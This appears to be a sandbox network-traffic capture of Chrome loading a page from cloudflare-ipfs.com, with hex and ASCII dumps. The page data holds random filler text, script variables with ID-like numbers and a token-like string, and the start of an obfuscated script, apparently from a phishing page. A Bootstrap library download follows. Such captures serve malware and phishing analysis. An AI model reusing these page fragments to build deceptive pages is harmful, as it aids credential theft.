2024-03-28 13:14:50 UTC	1369	IN	Data Raw: 65 4e 6f 78 6a 61 44 42 42 79 7a 6f 4f 62 50 5a 59 6f 42 6c 66 54 75 78 43 4a 42 71 46 73 4f 45 58 64 55 6b 55 61 71 6d 75 6f 41 48 73 69 75 7a 64 61 6c 76 6c 73 46 4e 75 4d 76 67 46 4b 6f 67 67 44 6e 59 61 49 41 4e 61 77 5a 45 6f 67 48 41 4b 53 49 56 6c 6e 47 0a 50 43 50 52 43 5a 4d 45 79 6f 4d 43 45 5a 58 62 4c 69 50 6f 63 6f 69 43 59 74 64 65 65 64 6c 58 4e 58 4a 75 5a 69 76 48 58 7a 59 74 68 4a 6c 73 61 47 46 4c 68 55 46 70 4e 73 56 55 7a 78 5a 59 78 76 57 71 42 57 74 59 4b 50 71 78 47 7a 55 58 66 55 61 50 56 6a 4b 52 52 47 55 76 73 51 5a 4b 70 64 59 45 0a 70 70 70 61 62 59 4d 7a 78 48 52 68 69 44 50 51 61 69 4a 6d 4d 6e 4b 56 6c 67 65 5a 75 58 70 67 4d 61 6e 66 54 4b 58 48 57 62 67 51 4a 71 56 46 4e 6c 4e 6b 70 6c 70 64 62 74 66 53 4b 4d 4d 4a 6e 78 Data Ascii: eNoxjaDBByzoObPZYoBlfTuxCJBqFsOEXdUkUaqmuoAHsiuzdalvlsFNuMvgFKoggDnYaIANawZEogHAKSIVlnGPCPRCZMEyoMCEZXbLiPocoiCYtdeedlXNXJuZivHXzYthJlsaGFLhUFpNsVUzxZYxvWqBWtYKPqxGzUXfUaPVjKRRGUvsQZKpdYEpppabYMzxHRhiDPQaiJmMnKVlgeZuXpgManfTKXHWbgQJqVFNlNkplpdbtfSKMMJnx
2024-03-28 13:14:50 UTC	1369	IN	Data Raw: 6e 46 45 64 6b 41 50 76 5a 6a 65 71 57 58 65 42 67 74 77 6f 61 76 69 5a 6e 52 79 63 76 4c 43 0a 6f 54 76 4e 4c 68 44 54 66 53 4d 55 6e 6b 47 47 54 6e 4c 4f 4c 42 7a 5a 47 72 71 6b 65 58 58 56 76 46 6e 53 67 58 4e 6d 44 4c 6d 56 53 4f 4a 61 74 6c 49 71 58 72 46 73 51 71 7a 70 54 71 64 57 4f 69 6a 68 70 4d 55 79 4d 6f 6d 6e 4c 6c 47 54 4f 72 44 52 56 71 71 4b 6d 61 6f 4e 74 6c 57 54 6b 4a 6b 65 0a 42 6e 4e 68 67 71 79 45 47 6f 66 50 6d 4b 56 6e 48 69 79 67 64 71 6b 4a 4a 4b 69 55 47 75 52 74 6d 42 66 68 68 6e 4b 63 4b 64 75 79 63 76 6e 6e 4f 67 74 63 49 64 44 6e 56 53 4c 66 58 6d 69 6e 43 41 66 48 4d 72 4e 70 58 41 54 46 64 5a 65 7a 45 56 6a 48 54 6e 67 6a 72 4a 4a 43 79 76 44 59 45 6d 67 70 0a 67 4b 43 6e 6b 77 4f 78 66 52 52 53 4e 5a 72 75 71 63 49 7a 49 Data Ascii: nFEdkAPvZjeqWXeBgtwoaviZnRycvLCoTvNLhDTfSMUnkGGTnLOLBzZGrqkeXXVvFnSgXNmDLmVSOJatlIqXrFsQqzpTqdWOijhpMUyMomnLlGTOrDRVqqKmaoNtlWTkJkeBnNhgqyEGofPmKVnHiygdqkJJKiUGuRtmBfhhnKcKduycvnnOgtcIdDnVSLfXminCAfHMrNpXATFdZezEVjHTngjrJJCyvDYEmgpgKCnkwOxfRRSNZruqcIzI
2024-03-28 13:14:50 UTC	1369	IN	Data Raw: 66 74 7a 42 63 78 74 42 59 4b 58 44 66 54 67 55 4c 42 4e 72 66 4d 61 77 65 6b 63 6a 73 41 42 6b 5a 61 72 4b 58 71 6a 50 48 70 41 4e 65 6a 6a 63 62 5a 6c 5a 51 5a 41 61 76 4a 70 6c 4d 4c 53 51 6c 52 69 7a 7a 58 63 4f 67 71 5a 47 0a 79 55 66 75 54 6c 76 61 56 42 5a 68 4c 55 6c 6c 79 4a 55 59 79 67 4f 74 4e 75 4f 5a 6e 49 6c 51 6a 79 59 58 50 73 51 44 6d 45 42 56 72 52 46 71 58 64 70 59 4b 68 61 53 73 50 4d 78 68 58 73 4e 66 6a 76 49 45 46 48 7a 59 4a 46 76 6f 51 6b 53 43 4a 4c 6b 66 46 57 4e 6e 65 77 6b 71 52 48 66 73 6f 45 6c 0a 48 4a 64 63 71 56 59 4b 62 79 6a 6c 5a 6d 75 5a 50 61 44 4c 44 79 4f 50 49 6b 62 7a 6c 76 73 50 47 6c 45 6d 6c 56 77 48 52 74 51 66 49 4b 59 69 51 6b 77 50 56 6c 73 6b 59 52 67 6a 58 45 49 6e 65 51 65 63 48 56 55 47 48 79 5a 46 7a Data Ascii: ftzBcxtBYKXDfTgULBNrfMawekcjsABkZarKXqjPHpANejjcbZlZQZAavJplMLSQlRizzXcOgqZGyUfuTlvaVBZhLUllyJUYygOtNuOZnIlQjyYXPsQDmEBVrRFqXdpYKhaSsPMxhXsNfjvIEFHzYJFvoQkSCJLkfFWNnewkqRHfsoElHJdcqVYKbyjlZmuZPaDLDyOPIkbzlvsPGlEmlVwHRtQfIKYiQkwPVlskYRgjXEIneQecHVUGHyZFz
2024-03-28 13:14:50 UTC	1369	IN	Data Raw: 56 67 4b 4a 5a 73 53 6f 4e 72 73 69 6a 50 45 4d 45 4e 4d 68 0a 6c 63 75 41 49 63 6a 66 71 73 62 50 50 6a 77 62 52 56 4f 4d 76 57 6c 4c 41 56 56 67 67 42 6f 67 58 66 57 48 58 64 70 78 75 56 4a 4d 46 63 75 64 61 62 6d 49 53 73 76 78 6a 48 69 77 6e 74 55 54 43 72 58 68 4c 64 74 59 71 53 74 6b 64 49 56 7a 58 71 73 73 4c 52 46 45 77 4f 43 70 53 6f 72 69 59 6b 64 67 0a 4b 75 56 56 6b 45 49 78 79 78 4c 76 6d 4c 4c 74 75 76 6d 46 59 5a 43 71 6c 62 4f 79 58 53 58 75 72 5a 6e 78 42 48 45 4f 49 4a 68 6a 5a 51 55 73 42 58 77 6f 61 49 46 67 57 78 41 4d 5a 49 48 65 61 48 66 6c 57 72 71 45 43 45 65 6d 6a 47 41 72 4d 68 63 68 63 4f 45 46 64 4d 67 44 49 59 65 50 67 56 77 71 0a 78 74 6f 63 75 73 71 46 6e 59 53 43 63 58 46 64 70 52 4c 53 4e 74 42 50 50 63 50 46 4b 65 6b 6c Data Ascii: VgKJZsSoNrsijPEMENMhlcuAIcjfqsbPPjwbRVOMvWlLAVVggBogXfWHXdpxuVJMFcudabmISsvxjHiwntUTCrXhLdtYqStkdIVzXqssLRFEwOCpSoriYkdgKuVVkEIxyxLvmLLtuvmFYZCqlbOyXSXurZnxBHEOIJhjZQUsBXwoaIFgWxAMZIHeaHflWrqECEemjGArMhchcOEFdMgDIYePgVwqxtocusqFnYSCcXFdpRLSNtBPPcPFKekl
2024-03-28 13:14:50 UTC	1369	IN	Data Raw: 64 49 48 4d 56 49 61 46 65 72 50 69 4c 6a 78 70 77 4f 61 46 7a 77 4f 73 58 55 74 43 4a 61 53 79 4d 47 6a 7a 4b 42 67 43 5a 4e 50 6b 50 4f 4f 58 6a 51 77 52 45 59 59 4d 50 51 65 6c 61 64 4f 5a 56 0a 41 7a 62 46 78 44 58 4f 78 66 57 7a 7a 56 6c 6c 74 6b 77 75 6d 63 66 57 54 6b 6d 66 6c 6b 44 69 76 76 66 5a 70 76 6a 72 66 50 75 51 4c 65 4e 75 57 61 78 6f 7a 49 63 76 5a 74 53 77 72 63 59 43 42 59 56 5a 45 46 4c 63 72 52 65 61 53 61 4f 75 51 42 69 77 64 4a 61 45 73 4a 6c 66 58 63 43 42 78 48 63 57 0a 6e 48 69 42 53 61 78 74 6b 48 64 6e 49 6a 41 6b 4a 50 61 4b 6c 53 44 4e 43 4c 47 59 59 6d 71 5a 4a 6d 71 5a 4e 6b 68 45 68 73 46 61 57 45 4d 76 4b 6f 67 6b 56 73 73 5a 48 58 73 76 5a 62 49 5a 6c 6a 6e 59 75 69 4a 61 6e 74 6e 76 41 7a 77 69 6c 4d 67 47 5a 54 58 5a Data Ascii: dIHMVIaFerPiLjxpwOaFzwOsXUtCJaSyMGjzKBgCZNPkPOOXjQwREYYMPQeladOZVAzbFxDXOxfWzzVlltkwumcfWTkmflkDivvfZpvjrfPuQLeNuWaxozIcvZtSwrcYCBYVZEFLcrReaSaOuQBiwdJaEsJlfXcCBxHcWnHiBSaxtkHdnIjAkJPaKlSDNCLGYYmqZJmqZNkhEhsFaWEMvKogkVssZHXsvZbIZljnYuiJantnvAzwilMgGZTXZ
2024-03-28 13:14:50 UTC	1369	IN	Data Raw: 55 4e 45 78 50 6d 7a 59 6f 0a 6c 4d 77 5a 6a 6c 59 72 63 69 79 77 68 5a 65 74 4c 48 79 66 62 6e 6a 50 77 76 54 68 5a 65 7a 61 71 79 65 43 41 46 5a 49 6f 57 51 62 45 75 43 50 72 55 65 69 48 78 78 46 65 6d 58 4a 6a 75 4b 57 4e 56 78 73 48 45 4c 6b 49 4b 63 70 49 44 62 4e 6d 4e 66 57 59 51 4d 46 47 63 51 77 79 64 54 41 7a 58 53 5a 0a 4a 47 75 4d 76 61 75 47 65 43 48 48 4f 54 71 73 6f 72 59 52 43 64 49 61 5a 52 61 75 6b 79 51 57 51 53 4c 42 79 63 67 72 4a 55 4f 53 52 47 65 56 5a 71 57 4a 58 53 56 63 4c 6d 48 5a 6c 64 6f 55 7a 79 74 51 57 55 6a 74 54 75 56 63 58 6e 4e 6b 68 4a 6e 4e 63 64 5a 70 52 45 4e 4e 4b 79 71 5a 6e 4c 4d 70 0a 4c 57 43 72 45 6a 4d 47 61 46 59 73 79 58 66 68 4c 59 48 54 50 76 47 76 48 73 78 69 41 66 54 52 41 75 59 70 50 70 7a 6a 4f 53 53 Data Ascii: UNExPmzYolMwZjlYrciywhZetLHyfbnjPwvThZezaqyeCAFZIoWQbEuCPrUeiHxxFemXJjuKWNVxsHELkIKcpIDbNmNfWYQMFGcQwydTAzXSZJGuMvauGeCHHOTqsorYRCdIaZRaukyQWQSLBycgrJUOSRGeVZqWJXSVcLmHZldoUzytQWUjtTuVcXnNkhJnNcdZpRENNKyqZnLMpLWCrEjMGaFYsyXfhLYHTPvGvHsxiAfTRAuYpPpzjOSS
2024-03-28 13:14:50 UTC	1369	IN	Data Raw: 6a 4f 52 74 77 42 45 43 74 55 51 56 53 59 6f 6e 63 42 4f 48 77 4e 79 57 73 42 65 4a 5a 53 70 56 50 69 52 6f 4e 53 50 46 69 52 6b 51 75 64 6c 6c 6f 4e 6a 49 5a 6a 0a 69 62 44 59 6f 73 4c 45 55 5a 75 45 64 4b 5a 74 52 54 6d 45 78 78 65 41 4c 56 43 6d 68 67 56 47 59 78 41 7a 5a 4d 4a 5a 73 58 71 43 6a 5a 61 71 66 61 76 72 53 62 71 74 7a 52 57 57 59 43 76 5a 72 73 79 76 6f 43 4c 73 6b 56 64 76 46 4a 51 55 4b 45 71 6a 67 52 43 58 67 6f 68 70 41 79 74 43 58 5a 4f 72 0a 4d 44 46 6d 65 50 74 48 65 74 48 72 50 64 6c 6d 54 79 4f 76 6c 42 6c 63 79 46 49 55 67 64 66 4b 64 43 4b 6c 4b 6a 6c 71 72 50 63 59 4c 57 64 44 69 4e 6f 4c 63 5a 59 58 52 67 74 51 67 66 4b 71 64 77 71 4f 67 69 5a 62 74 42 50 79 51 51 4f 6f 61 4f 77 73 79 5a 43 57 44 55 74 70 4c 5a 65 43 68 75 4f Data Ascii: jORtwBECtUQVSYoncBOHwNyWsBeJZSpVPiRoNSPFiRkQudlloNjIZjibDYosLEUZuEdKZtRTmExxeALVCmhgVGYxAzZMJZsXqCjZaqfavrSbqtzRWWYCvZrsyvoCLskVdvFJQUKEqjgRCXgohpAytCXZOrMDFmePtHetHrPdlmTyOvlBlcyFIUgdfKdCKlKjlqrPcYLWdDiNoLcZYXRgtQgfKqdwqOgiZbtBPyQQOoaOwsyZCWDUtpLZeChuO
2024-03-28 13:14:50 UTC	1369	IN	Data Raw: 6b 45 73 65 79 75 76 73 64 63 48 65 4c 56 4f 5a 66 46 45 70 70 68 46 6c 47 49 73 71 4a 64 64 75 79 76 49 48 51 78 57 61 65 6f 64 4b 4e 73 6f 67 6d 58 63 73 57 53 6d 6f 69 73 66 51 77 55 7a 77 52 54 65 72 54 42 63 76 44 4e 59 77 48 4d 65 69 68 57 58 59 72 6a 62 78 43 46 73 78 76 71 61 72 68 58 45 0a 61 6f 64 76 56 61 65 79 65 4c 43 68 41 69 73 66 69 71 6e 43 76 57 48 70 79 4a 4b 43 71 7a 73 46 73 43 75 71 65 65 64 6d 6a 53 41 73 6c 53 44 52 50 59 6f 45 75 58 72 42 65 62 46 69 4c 62 69 42 59 6b 48 47 79 4e 4d 56 65 65 74 59 68 73 68 55 6e 68 67 6d 6e 6f 41 55 73 63 55 72 52 56 6f 79 41 64 72 44 0a 4d 73 6b 57 43 4b 46 6a 63 64 45 78 73 46 4a 79 6a 73 58 4b 66 54 6f 55 63 44 4e 4a 54 44 47 78 6f 4a 44 46 4f 58 61 43 47 53 67 58 48 72 67 4e 47 50 4e 72 61 4a Data Ascii: kEseyuvsdcHeLVOZfFEpphFlGIsqJdduyvIHQxWaeodKNsogmXcsWSmoisfQwUzwRTerTBcvDNYwHMeihWXYrjbxCFsxvqarhXEaodvVaeyeLChAisfiqnCvWHpyJKCqzsFsCuqeedmjSAslSDRPYoEuXrBebFiLbiBYkHGyNMVeetYhshUnhgmnoAUscUrRVoyAdrDMskWCKFjcdExsFJyjsXKfToUcDNJTDGxoJDFOXaCGSgXHrgNGPNraJ
2024-03-28 13:14:50 UTC	1369	IN	Data Raw: 79 74 74 72 65 64 7a 71 7a 61 7a 73 72 7a 7a 72 73 7a 73 7a 7a 73 20 3d 20 22 31 31 32 34 30 32 36 34 37 37 34 34 38 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 74 79 74 79 74 79 74 79 74 79 64 64 66 64 73 64 64 73 64 73 66 64 73 75 69 6b 68 66 68 20 3d 20 22 31 31 32 39 30 39 37 35 35 30 38 32 39 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 77 41 71 6f 6d 6a 74 66 66 78 63 76 76 63 72 61 71 77 7a 63 78 63 78 78 77 77 71 61 20 3d 20 22 51 51 58 6a 34 38 52 33 51 6d 43 78 4d 48 4e 77 39 6f 67 75 48 36 34 50 58 72 61 49 6c 47 47 49 4f 55 43 22 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 5f 30 78 35 31 39 39 28 5f 30 78 31 66 34 65 61 65 2c 5f 30 78 31 62 65 31 30 39 29 7b 76 61 72 20 5f Data Ascii: yttredzqzazsrzzrszszzs = "1124026477448"; var tytytytytyddfdsddsdsfdsuikhfh = "1129097550829"; var wAqomjtffxcvvcraqwzcxcxxwwqa = "QQXj48R3QmCxMHNw9oguH64PXraIlGGIOUC";</script><script>function _0x5199(_0x1f4eae,_0x1be109){var _

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49705	104.17.64.14	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 13:14:51 UTC	823	OUT	GET /ipfs/img/bg-image.jpg HTTP/1.1 Host: cloudflare-ipfs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://cloudflare-ipfs.com/ipfs/QmWogjL6GutGKbdVU2x417hXn56fpyEV8KCHFJUBJrcBaA/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=3vWY19tkHbCA8zUK27cNHCmCfpjTzuJJntpmRoX0kJc-1711631690-1.0.1.1-7sPA60dT25Tey90IHHJKIgpEzFI3IOVFEMFI5rEyqCAW9MOfrRTia8f4EJUdufO_oJ05ZTfgdoyhz_G7HdSPLA
2024-03-28 13:14:51 UTC	359	IN	HTTP/1.1 400 Bad Request Date: Thu, 28 Mar 2024 13:14:51 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 97 Connection: close CF-Ray: 86b7e2b61dce82ba-IAD CF-Cache-Status: MISS Cache-Control: no-store Vary: Accept-Encoding x-cf-ipfs-cache-status: miss x-content-type-options: nosniff Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-03-28 13:14:51 UTC	97	IN	Data Raw: 69 6e 76 61 6c 69 64 20 70 61 74 68 20 22 2f 69 70 66 73 2f 69 6d 67 2f 62 67 2d 69 6d 61 67 65 2e 6a 70 67 22 3a 20 69 6e 76 61 6c 69 64 20 43 49 44 3a 20 69 6e 76 61 6c 69 64 20 63 69 64 3a 20 73 65 6c 65 63 74 65 64 20 65 6e 63 6f 64 69 6e 67 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 0a Data Ascii: invalid path "/ipfs/img/bg-image.jpg": invalid CID: invalid cid: selected encoding not supported

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49711	104.18.11.207	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 13:14:51 UTC	683	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://cloudflare-ipfs.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://cloudflare-ipfs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 13:14:51 UTC	945	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 13:14:51 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 01/15/2024 23:55:45 CDN-EdgeStorageId: 845 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: 55c9d0dfa57a95e97699fec729aa193b CDN-Cache: HIT CF-Cache-Status: HIT Age: 853548 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 86b7e2b688f382f6-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 13:14:51 UTC	424	IN	Data Raw: 37 63 30 33 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7c03/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 2e 6b 65 79 2c 69 29 7d Data Ascii: y","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 6c 65 6d 65 6e 74 28 6f 29 3f 22 65 6c 65 6d 65 6e 74 22 3a 28 6c Data Ascii: ger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isElement(o)?"element":(l
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 29 7d 2c 65 2e 5f 64 65 Data Ascii: eturn o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._destroyElement(t)},e._de
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 70 Data Ascii: if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._element.setAttribute("aria-p
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 70 72 65 76 22 2c 79 3d 7b 41 43 54 49 56 45 3a 22 2e 61 63 Data Ascii: AVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-item-prev",y={ACTIVE:".ac
2024-03-28 13:14:51 UTC	1369	IN	Data Raw: 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e 64 28 79 2e 41 43 54 49 56 45 5f 49 54 45 4d 29 5b 30 